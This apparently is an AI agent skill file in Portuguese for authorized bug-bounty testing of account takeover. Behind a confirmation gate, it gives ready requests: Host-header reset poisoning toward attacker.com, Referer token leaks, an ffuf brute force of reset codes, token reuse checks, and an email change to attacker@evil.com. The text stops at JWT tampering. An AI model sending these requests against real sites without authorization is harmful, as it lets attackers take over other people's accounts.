hunt-ato

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

13. ATO — TAXONOMIA DE TOMADA DE CONTA

9 caminhos distintos. ATO é uma classe de destino, não um único bug — cada caminho abaixo é um primitivo que se torna Crítico apenas quando você demonstra a tomada de controle de uma SEGUNDA conta (conta de teste B) que você não controla, a partir da sessão/IP/dispositivo do atacante A. Um caminho que apenas bloqueia sua própria conta, ou funciona apenas quando você já possui a senha E a sessão da vítima, não é um ATO autônomo.

Caminho 1: Envenenamento de Redefinição de Senha (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com

O remetente de redefinição constrói o link a partir do cabeçalho Host da solicitação → o link aponta para attacker.com/reset?token=XXXX. Confirmação = OOB, não baseada em resposta: aponte o cabeçalho para um Burp Collaborator / nome DNS exclusivo e leia o e-mail real (use uma caixa de entrada controlada da vítima B que você possui para o teste). Se o token aparecer apenas no corpo do e-mail que chega ao seu host Collaborator, você tem a prova. Eliminador de falsos positivos: muitos aplicativos colocam attacker.com no e-mail, mas o domínio do link real é fixado pelo servidor — leia o e-mail, não infira do cabeçalho refletido.

Caminho 2: Token de Redefinição em Referer / Vazamento de Redirecionamento Aberto

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Teste também páginas de redefinição que redirecionam 302 para um redirecionamento aberto carregando o token na URL. Prova: capture a solicitação de saída na aba Rede (ou Collaborator se você controlar o host externo) mostrando o token completo no Referer. Mitigado por Referrer-Policy: no-referrer + tokens no corpo POST — observe sua ausência.

Caminho 3: Tokens de Redefinição Previsíveis / Fracos

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Disciplina: solicite o token da vítima B você mesmo (você possui B), confirme a entropia por amostragem, ENTÃO mostre que um novo brute force funciona. Uma descoberta apenas de limite de taxa em /forgot-password é rotineiramente rejeitada — o impacto é adivinhar o token, não inundar solicitações.

Caminho 4: Token Sem Expiração / Reutilização / Conta Cruzada

Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Caminho 5: Alteração de E-mail Sem Reautenticação

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm

Se a alteração entrar em vigor sem um desafio de senha atual e sem um link de confirmação para o endereço ANTIGO, acione a redefinição de senha → a redefinição chega à caixa de correio do atacante → ATO. A variante mais forte pula até mesmo a confirmação do novo endereço. Padrão de marca: link de conta / alteração de e-mail → ATO por falta de reautenticação.

Caminho 6: Manipulação de JWT

# (a) alg:none — remova a assinatura, defina o cabeçalho alg como none

…